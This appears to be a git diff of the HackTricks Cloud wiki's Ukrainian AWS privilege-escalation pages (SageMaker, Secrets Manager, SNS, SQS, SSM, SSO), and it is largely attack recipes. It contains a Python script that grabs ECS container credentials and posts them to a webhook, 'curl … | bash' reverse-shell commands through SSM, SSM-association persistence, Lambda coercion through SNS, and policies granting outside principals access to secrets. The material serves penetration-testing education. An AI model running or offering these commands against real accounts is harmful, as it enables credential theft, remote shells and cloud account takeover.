+\"Statement\": [ +{ +\"Effect\": \"Allow\", +\"Principal\": \"*\", +\"Action\": \"s3:GetObject\", +\"Resource\": \"arn:aws:s3:::$BUCKET/*\" +} +] +}" + +cat <<'EOF' > /tmp/train.py +import os, time, urllib.request + +def main(): +meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI") +if not meta: +return +creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read() +req = urllib.request.Request( +"https://example.com/webhook", +data=creds, +headers={"Content-Type": "application/json"} +) +urllib.request.urlopen(req) +print("train:loss=0") +time.sleep(300) + +if __name__ == "__main__": +main() +EOF + +cd /tmp +tar -czf code.tar.gz train.py +aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read + +echo "dummy" > /tmp/input.txt +aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read + +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +CODE_S3=s3://$BUCKET/code/train-code.tar.gz +TRAIN_INPUT_S3=s3://$BUCKET/input +OUTPUT_S3=s3://$BUCKET/output +# El rol necesita permisos ECR y escritura en el bucket. + +cat > /tmp/hpo-definition.json < + +# Choose a more-privileged role that already trusts sagemaker.amazonaws.com +ROLE_ARN=arn:aws:iam:::role/ + +# 2) Update the Studio profile to use the new role (no iam:PassRole) +aws sagemaker update-user-profile \ +--domain-id \ +--user-profile-name \ +--user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-user-profile \ +--domain-id \ +--user-profile-name \ +--query 'UserSettings.ExecutionRole' --output text + +# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level +aws sagemaker update-space \ +--domain-id \ +--space-name \ +--space-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-space \ +--domain-id \ +--space-name \ +--query 'SpaceSettings.ExecutionRole' --output text + +# 4) Optionally, change the domain default so every profile inherits the new role +aws sagemaker update-domain \ +--domain-id \ +--default-user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-domain \ +--domain-id \ +--query 'DefaultUserSettings.ExecutionRole' --output text + +# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name js-atk + +# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run: +# aws sts get-caller-identity # should reflect the new ExecutionRole +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text +``` +**Потенційний вплив**: Privilege escalation до прав вказаної ролі виконання SageMaker для інтерактивних сесій Studio. + +## Посилання + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md deleted file mode 100644 index 5b176a681..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ /dev/null @@ -1,48 +0,0 @@ -# AWS - Secrets Manager Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -Для отримання додаткової інформації про Secrets Manager дивіться: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### `secretsmanager:GetSecretValue` - -Атакуючий з цим дозволом може отримати **збережене значення всередині секрету** в AWS **Secretsmanager**. -```bash -aws secretsmanager get-secret-value --secret-id # Get value -``` -**Можливий вплив:** Отримання доступу до високочутливих даних всередині AWS secrets manager service. - -> [!WARNING] -> Зверніть увагу, що навіть з дозволом `secretsmanager:BatchGetSecretValue` атакувальнику також потрібен `secretsmanager:GetSecretValue`, щоб отримати чутливі секрети. - -### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) - -Завдяки вищезгаданим дозволам можна **надати доступ іншим principals/accounts (навіть зовнішнім)** до **secret**. Зверніть увагу, що щоб **читати secrets, зашифровані** за допомогою KMS key, користувачу також потрібен **доступ до KMS key** (детальніше на [KMS Enum page](../aws-services/aws-kms-enum.md)). -```bash -aws secretsmanager list-secrets -aws secretsmanager get-resource-policy --secret-id -aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json -``` -policy.json: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "secretsmanager:GetSecretValue", -"Resource": "*" -} -] -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md new file mode 100644 index 000000000..2fa1b7a80 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md @@ -0,0 +1,48 @@ +# AWS - Secrets Manager Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Для отримання додаткової інформації про secrets manager дивіться: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### `secretsmanager:GetSecretValue` + +Зловмисник, що має цей дозвіл, може отримати **збережене значення всередині secret** в AWS **Secretsmanager**. +```bash +aws secretsmanager get-secret-value --secret-id # Get value +``` +**Потенційний вплив:** Доступ до високочутливих даних у AWS Secrets Manager. + +> [!WARNING] +> Зауважте, що навіть маючи дозвіл `secretsmanager:BatchGetSecretValue`, зловмисник також потребуватиме `secretsmanager:GetSecretValue` для отримання конфіденційних секретів. + +### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) + +За наявних дозволів можливо **надати доступ іншим principals/accounts (навіть зовнішнім)** для доступу до **секрету**. Зауважте, що щоб **читати секрети, зашифровані** за допомогою KMS key, користувачу також потрібен **доступ до KMS key** (більше інформації на [KMS Enum page](../../aws-services/aws-kms-enum.md)). +```bash +aws secretsmanager list-secrets +aws secretsmanager get-resource-policy --secret-id +aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json +``` +policy.json: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "secretsmanager:GetSecretValue", +"Resource": "*" +} +] +} +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md deleted file mode 100644 index 89ea993f6..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SNS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### `sns:Publish` - -Зловмисник може надсилати шкідливі або небажані повідомлення до теми SNS, що може призвести до пошкодження даних, виклику непередбачених дій або виснаження ресурсів. -```bash -aws sns publish --topic-arn --message -``` -**Потенційний вплив**: Експлуатація вразливостей, Пошкодження даних, ненавмисні дії або виснаження ресурсів. - -### `sns:Subscribe` - -Зловмисник може підписатися на тему SNS, потенційно отримуючи несанкціонований доступ до повідомлень або порушуючи нормальне функціонування додатків, що покладаються на цю тему. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -``` -**Потенційний вплив**: Несанкціонований доступ до повідомлень (чутлива інформація), порушення роботи для додатків, що залежать від ураженої теми. - -### `sns:AddPermission` - -Зловмисник може надати несанкціонованим користувачам або сервісам доступ до теми SNS, потенційно отримуючи подальші дозволи. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -``` -**Потенційний вплив**: Несанкціонований доступ до теми, витік повідомлень або маніпуляція темою несанкціонованими користувачами або сервісами, порушення нормального функціонування для додатків, що покладаються на тему. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md new file mode 100644 index 000000000..937b14af6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md @@ -0,0 +1,79 @@ +# AWS - SNS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### `sns:Publish` + +Зловмисник може надсилати шкідливі або небажані повідомлення в тему SNS, що потенційно може призвести до пошкодження даних, ініціювання небажаних дій або виснаження ресурсів. +```bash +aws sns publish --topic-arn --message +``` +**Потенційний вплив**: Використання вразливості, пошкодження даних, небажані дії або вичерпання ресурсів. + +### `sns:Subscribe` + +Зловмисник може підписатися на тему SNS, потенційно отримавши несанкціонований доступ до повідомлень або порушивши нормальне функціонування додатків, що використовують цю тему. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +``` +**Потенційний вплив**: Несанкціонований доступ до повідомлень (чутлива інформація), порушення роботи застосунків, які залежать від ураженого topic. + +### `sns:AddPermission` + +Зловмисник може надати неавторизованим користувачам або сервісам доступ до SNS topic, що потенційно дозволяє отримати додаткові права. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +``` +**Можливий вплив**: несанкціонований доступ до topic, розкриття повідомлень або маніпуляція topic з боку неавторизованих користувачів чи сервісів, порушення нормальної роботи додатків, що залежать від topic. + +### Виклик Lambda шляхом зловживання wildcard SNS permission (no `SourceArn`) + +Якщо resource-based policy функції Lambda дозволяє `sns.amazonaws.com` викликати її без обмеження джерела topic (`SourceArn`), будь-який SNS topic (навіть в іншому account) може підписатися та тригернути функцію. Зловмисник із базовими SNS permissions може змусити Lambda виконатися під її IAM role з input, контрольованим зловмисником. + +> [!TIP] +> TODO: Чи справді це можна зробити між акаунтами? + +Передумови +- Політика жертви Lambda містить statement як нижче, без умови `SourceArn`: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": {"Service": "sns.amazonaws.com"}, +"Action": "lambda:InvokeFunction" +// No Condition/SourceArn restriction here +} +] +} +``` +Кроки зловживання (в тому ж акаунті або між акаунтами) +```bash +# 1) Create a topic you control +ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text) + +# 2) Subscribe the victim Lambda to your topic +aws sns subscribe \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--protocol lambda \ +--notification-endpoint arn:aws:lambda:us-east-1::function: + +# 3) Publish an attacker-controlled message to trigger the Lambda +aws sns publish \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}' +``` +**Можливий вплив**: Цільова Lambda виконується з її IAM role, обробляючи attacker-controlled input. Це може бути використано, щоб змусити функцію виконувати чутливі дії (наприклад, запис у S3, доступ до secrets, змінення ресурсів) залежно від її дозволів. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md deleted file mode 100644 index 07e54844c..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - SQS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:AddPermission` - -Зловмисник може використовувати цей дозвіл, щоб надати несанкціонованим користувачам або сервісам доступ до черги SQS, створюючи нові політики або змінюючи існуючі політики. Це може призвести до несанкціонованого доступу до повідомлень у черзі або маніпуляцій з чергою з боку несанкціонованих осіб. -```bash -cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label -``` -**Потенційний вплив**: Несанкціонований доступ до черги, витік повідомлень або маніпуляція чергою несанкціонованими користувачами або сервісами. - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -Зловмисник може надіслати шкідливі або небажані повідомлення до черги SQS, що може призвести до пошкодження даних, виклику непередбачених дій або виснаження ресурсів. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**Потенційний вплив**: Експлуатація вразливостей, корупція даних, ненавмисні дії або виснаження ресурсів. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -Зловмисник може отримувати, видаляти або змінювати видимість повідомлень у черзі SQS, що призводить до втрати повідомлень, корупції даних або збоїв у сервісах, які покладаються на ці повідомлення. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**Потенційний вплив**: Вкрасти чутливу інформацію, втрата повідомлень, пошкодження даних та порушення роботи для додатків, що залежать від уражених повідомлень. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md new file mode 100644 index 000000000..4f6073023 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md @@ -0,0 +1,40 @@ +# AWS - SQS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:AddPermission` + +Атакуючий може використати цей дозвіл, щоб надати неавторизованим користувачам або сервісам доступ до SQS queue шляхом створення нових політик або модифікації існуючих. Це може призвести до неавторизованого доступу до повідомлень у черзі або до маніпуляцій з чергою з боку неавторизованих осіб. +```bash +aws sqs add-permission --queue-url --actions --aws-account-ids --label +``` +**Можливий вплив**: Несанкціонований доступ до черги, розкриття повідомлень або маніпуляції з чергою з боку неавторизованих користувачів або сервісів. + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +Зловмисник може відправляти шкідливі або небажані повідомлення в чергу SQS, що потенційно може призвести до пошкодження даних, запуску небажаних дій або вичерпання ресурсів. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**Потенційний вплив**: Використання вразливості, пошкодження даних, непередбачені дії або виснаження ресурсів. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +Зловмисник може отримувати, видаляти або змінювати видимість повідомлень у черзі SQS, що може призвести до втрати повідомлень, пошкодження даних або порушення роботи сервісів для додатків, які покладаються на ці повідомлення. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**Потенційний вплив**: Викрадення конфіденційної інформації, втрата повідомлень, пошкодження даних та порушення роботи сервісів для застосунків, які залежать від уражених повідомлень. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md deleted file mode 100644 index fff20ccf4..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ /dev/null @@ -1,130 +0,0 @@ -# AWS - SSM Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -Для отримання додаткової інформації про SSM перегляньте: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `ssm:SendCommand` - -Зловмисник з дозволом **`ssm:SendCommand`** може **виконувати команди в екземплярах**, що працюють з Amazon SSM Agent, і **компрометувати IAM Role**, що працює всередині нього. -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" -``` -У випадку, якщо ви використовуєте цю техніку для підвищення привілеїв всередині вже скомпрометованого EC2 екземпляра, ви можете просто захопити rev shell локально за допомогою: -```bash -# If you are in the machine you can capture the reverseshel inside of it -nc -lvnp 4444 #Inside the EC2 instance -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" -``` -**Потенційний вплив:** Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів з працюючими SSM агентами. - -### `ssm:StartSession` - -Зловмисник з дозволом **`ssm:StartSession`** може **розпочати сесію, подібну до SSH, в екземплярах**, що працюють з Amazon SSM Agent, і **скомпрометувати IAM роль**, що працює всередині нього. -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm start-session --target "$INSTANCE_ID" -``` -> [!CAUTION] -> Щоб розпочати сесію, вам потрібно встановити **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) - -**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів з працюючими SSM Agents. - -#### Підвищення привілеїв до ECS - -Коли **ECS завдання** виконуються з **увімкненим `ExecuteCommand`**, користувачі з достатніми правами можуть використовувати `ecs execute-command`, щоб **виконати команду** всередині контейнера.\ -Згідно з [**документацією**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), це робиться шляхом створення безпечного каналу між пристроєм, який ви використовуєте для ініціювання команди “_exec_“, і цільовим контейнером за допомогою SSM Session Manager. (Плагін SSM Session Manager необхідний для цього)\ -Отже, користувачі з `ssm:StartSession` зможуть **отримати оболонку всередині ECS завдань** з увімкненою цією опцією, просто виконавши: -```bash -aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" -``` -![](<../../../images/image (185).png>) - -**Потенційний вплив:** Пряме підвищення привілеїв до `ECS` IAM ролей, прикріплених до запущених завдань з увімкненим `ExecuteCommand`. - -### `ssm:ResumeSession` - -Зловмисник з дозволом **`ssm:ResumeSession`** може повторно **розпочати сесію, схожу на SSH, на екземплярах**, що виконують Amazon SSM Agent з **відключеним** станом сесії SSM та **компрометувати IAM роль**, що виконується всередині неї. -```bash -# Check for configured instances -aws ssm describe-sessions - -# Get resume data (you will probably need to do something else with this info to connect) -aws ssm resume-session \ ---session-id Mary-Major-07a16060613c408b5 -``` -**Потенційний вплив:** Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів з працюючими SSM агентами та відключеними сесіями. - -### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) - -Зловмисник з вказаними дозволами зможе перерахувати **SSM параметри** та **читати їх у відкритому тексті**. У цих параметрах ви часто можете **знайти чутливу інформацію**, таку як SSH ключі або API ключі. -```bash -aws ssm describe-parameters -# Suppose that you found a parameter called "id_rsa" -aws ssm get-parameters --names id_rsa --with-decryption -aws ssm get-parameter --name id_rsa --with-decryption -``` -**Потенційний вплив:** Знайти чутливу інформацію всередині параметрів. - -### `ssm:ListCommands` - -Зловмисник з цим дозволом може перерахувати всі **команди**, що були надіслані, і, сподіваючись, знайти **чутливу інформацію** в них. -``` -aws ssm list-commands -``` -**Потенційний вплив:** Знайти чутливу інформацію всередині командних рядків. - -### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) - -Зловмисник з цими дозволами може перерахувати всі **команди**, що були надіслані, та **прочитати вихідні дані**, сподіваючись знайти **чутливу інформацію** в них. -```bash -# You can use any of both options to get the command-id and instance id -aws ssm list-commands -aws ssm list-command-invocations - -aws ssm get-command-invocation --command-id --instance-id -``` -**Потенційний вплив:** Знайти чутливу інформацію виводу командних рядків. - -### Використання ssm:CreateAssociation - -Зловмисник з дозволом **`ssm:CreateAssociation`** може створити асоціацію State Manager для автоматичного виконання команд на EC2-екземплярах, керованих SSM. Ці асоціації можуть бути налаштовані на виконання з фіксованим інтервалом, що робить їх придатними для стійкості, схожої на бекдор, без інтерактивних сесій. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> Цей метод збереження працює, поки EC2 екземпляр керується Systems Manager, агент SSM працює, і зловмисник має дозвіл на створення асоціацій. Це не вимагає інтерактивних сесій або явних дозволів ssm:SendCommand. **Важливо:** Параметр `--schedule-expression` (наприклад, `rate(30 minutes)`) повинен відповідати мінімальному інтервалу AWS у 30 хвилин. Для негайного або одноразового виконання повністю пропустіть `--schedule-expression` — асоціація буде виконана один раз після створення. - -### Codebuild - -Ви також можете використовувати SSM, щоб потрапити в проект codebuild, що будується: - -{{#ref}} -aws-codebuild-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md new file mode 100644 index 000000000..8cefb45fa --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -0,0 +1,130 @@ +# AWS - SSM Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +Для отримання додаткової інформації про SSM див.: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `ssm:SendCommand` + +Зловмисник із дозволом **`ssm:SendCommand`** може **виконувати команди на інстансах**, де запущено Amazon SSM Agent, і **компрометувати IAM Role**, що працює всередині них. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +``` +Якщо ви використовуєте цю техніку для escalate privileges всередині вже скомпрометованого EC2 instance, ви можете просто перехопити rev shell локально за допомогою: +```bash +# If you are in the machine you can capture the reverseshel inside of it +nc -lvnp 4444 #Inside the EC2 instance +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +``` +**Потенційний вплив:** Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів, де працюють SSM Agents. + +### `ssm:StartSession` + +Зловмисник з дозволом **`ssm:StartSession`** може **ініціювати SSH-подібну сесію на інстансах**, де запущено Amazon SSM Agent, і **компрометувати IAM Role**, що працює всередині. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm start-session --target "$INSTANCE_ID" +``` +> [!CAUTION] +> Для початку сесії потрібно встановити **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) + +**Potential Impact:** Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів із запущеними SSM Agents. + +#### Privesc до ECS + +Коли **ECS tasks** працюють з увімкненим **`ExecuteCommand`**, користувачі з достатніми правами можуть використати `ecs execute-command`, щоб **execute a command** всередині контейнера.\ +Згідно з [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) це робиться шляхом створення захищеного каналу між пристроєм, який ви використовуєте для ініціації команди “_exec_“ та цільовим контейнером за допомогою SSM Session Manager. (SSM Session Manager Plugin необхідний для цього)\ +Тому, користувачі з `ssm:StartSession` зможуть **get a shell inside ECS tasks** з увімкненою цією опцією просто запустивши: +```bash +aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" +``` +![](<../../../images/image (185).png>) + +**Можливий вплив:** Прямий privesc до `ECS`IAM ролей, прикріплених до працюючих завдань з увімкненим `ExecuteCommand`. + +### `ssm:ResumeSession` + +An attacker, який має дозвіл **`ssm:ResumeSession`**, може повторно **відновити SSH-подібну сесію на інстансах**, де працює Amazon SSM Agent, коли SSM session перебуває в стані **disconnected**, та **компрометувати IAM Role** яка працює всередині неї. +```bash +# Check for configured instances +aws ssm describe-sessions + +# Get resume data (you will probably need to do something else with this info to connect) +aws ssm resume-session \ +--session-id Mary-Major-07a16060613c408b5 +``` +**Потенційний вплив:** Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів із SSM Agents, що працюють, але з відключеними сесіями. + +### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) + +Зловмисник з зазначеними дозволами зможе перерахувати **SSM parameters** та **читати їх у відкритому вигляді**. У цих параметрах часто можна **знайти чутливу інформацію**, таку як SSH keys або API keys. +```bash +aws ssm describe-parameters +# Suppose that you found a parameter called "id_rsa" +aws ssm get-parameters --names id_rsa --with-decryption +aws ssm get-parameter --name id_rsa --with-decryption +``` +**Можливий вплив:** Знайти конфіденційну інформацію в параметрах. + +### `ssm:ListCommands` + +Атакувальник з цим дозволом може перерахувати всі надіслані **commands** та, можливо, знайти в них **конфіденційну інформацію**. +``` +aws ssm list-commands +``` +**Потенційний вплив:** Знаходження чутливої інформації в рядках команд. + +### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) + +Атакуючий з такими дозволами може перерахувати всі надіслані **команди** та **читати вивід**, який вони генерують, сподіваючись знайти в ньому **чутливу інформацію**. +```bash +# You can use any of both options to get the command-id and instance id +aws ssm list-commands +aws ssm list-command-invocations + +aws ssm get-command-invocation --command-id --instance-id +``` +**Можливий вплив:** Можливість виявлення конфіденційної інформації у виводі команд. + +### Використання ssm:CreateAssociation + +Зловмисник з дозволом **`ssm:CreateAssociation`** може створити State Manager Association для автоматичного виконання команд на EC2 інстансах, керованих SSM. Такі асоціації можна налаштувати на періодичне виконання через фіксований інтервал, що робить їх придатними для стійкої присутності, схожої на бекдор, без необхідності інтерактивних сесій. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> Цей метод персистенції працює доти, поки EC2 instance керується Systems Manager, SSM agent запущено, і зловмисник має дозволи на створення associations. Він не вимагає інтерактивних сесій або явних дозволів `ssm:SendCommand`. **Важливо:** параметр `--schedule-expression` (наприклад, `rate(30 minutes)`) має відповідати мінімальному інтервалу AWS у 30 хвилин. Для негайного або одноразового виконання повністю опустіть `--schedule-expression` — the association will execute once after creation. + +### Codebuild + +Ви також можете використати SSM, щоб потрапити всередину проекту codebuild під час його побудови: + +{{#ref}} +../aws-codebuild-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md deleted file mode 100644 index d8e184008..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ /dev/null @@ -1,112 +0,0 @@ -# AWS - SSO & identitystore Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## AWS Identity Center / AWS SSO - -Для отримання додаткової інформації про AWS Identity Center / AWS SSO перегляньте: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -> [!WARNING] -> Зверніть увагу, що за **замовчуванням** лише **користувачі** з правами **з** **Управлінського облікового запису** зможуть отримати доступ і **керувати IAM Identity Center**.\ -> Користувачі з інших облікових записів можуть це дозволити лише якщо обліковий запис є **делегованим адміністратором.**\ -> [Перегляньте документацію для отримання додаткової інформації.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) - -### ~~Скидання пароля~~ - -Легкий спосіб підвищити привілеї в таких випадках, як цей, полягає в тому, щоб мати дозвіл, який дозволяє скинути паролі користувачів. На жаль, можливо лише надіслати електронний лист користувачу для скидання його пароля, тому вам знадобиться доступ до електронної пошти користувача. - -### `identitystore:CreateGroupMembership` - -З цим дозволом можливо додати користувача до групи, щоб він успадкував усі дозволи, які має група. -```bash -aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= -``` -### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` - -Зловмисник з цим дозволом може надати додаткові дозволи до набору дозволів, який надано користувачу під його контролем. -```bash -# Set an inline policy with admin privileges -aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml - -# Content of /tmp/policy.yaml -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "Statement1", -"Effect": "Allow", -"Action": ["*"], -"Resource": ["*"] -} -] -} - -# Update the provisioning so the new policy is created 